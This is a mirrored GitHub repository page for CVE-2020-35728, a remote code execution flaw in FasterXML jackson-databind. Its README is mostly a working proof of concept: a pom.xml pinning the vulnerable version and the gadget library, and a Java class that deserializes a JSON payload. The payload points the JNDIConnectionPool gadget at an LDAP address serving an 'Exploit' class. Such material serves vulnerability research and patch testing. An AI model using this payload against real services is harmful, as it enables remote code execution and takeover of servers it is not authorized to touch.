https://github.com/Al1ex/CVE-2020-35728

CVE-2020-35728 & Jackson-databind RCE
https://github.com/Al1ex/CVE-2020-35728

cve-2020-35728 jackson-databind rce

Last synced: 3 months ago
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CVE-2020-35728 & Jackson-databind RCE

• Host: GitHub
• URL: https://github.com/Al1ex/CVE-2020-35728
• Owner: Al1ex
• Created: 2020-12-31T01:55:39.000Z (almost 4 years ago)
• Default Branch: main
• Last Pushed: 2020-12-31T01:56:18.000Z (almost 4 years ago)
• Last Synced: 2024-05-02T18:51:15.427Z (6 months ago)
• Topics: cve-2020-35728, jackson-databind, rce
• Homepage:
• Size: 916 KB
• Stars: 42
• Watchers: 2
• Forks: 7
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

• awesome-hacking-lists - Al1ex/CVE-2020-35728 - CVE-2020-35728 & Jackson-databind RCE (Others)

README

        
### Description

FasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool (aka embedded Xalan in org.glassfish.web/javax.servlet.jsp.jstl).

### How to RCE

pom.xml

```

    4.0.0

    com.jacksonTest

    jacksonTest

    1.0-SNAPSHOT

    

        

            com.fasterxml.jackson.core

            jackson-databind

            2.9.10.7

        

        

        

            org.glassfish.web

            jakarta.servlet.jsp.jstl

            2.0.0

        

        

            org.slf4j

            slf4j-nop

            1.7.2

        

        

        

            javax.transaction

            jta

            1.1

        

    

```

poc.java

~~~

import com.fasterxml.jackson.databind.ObjectMapper;

public class POC {

    public static void main(String[] args) throws Exception {

        String payload = "[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"ldap://127.0.0.1:1088/Exploit\"}]";

        ObjectMapper mapper = new ObjectMapper();

        mapper.enableDefaultTyping();

        Object obj = mapper.readValue(payload, Object.class);

        mapper.writeValueAsString(obj);

    }

}

~~~

result

![result](image/result.jpg)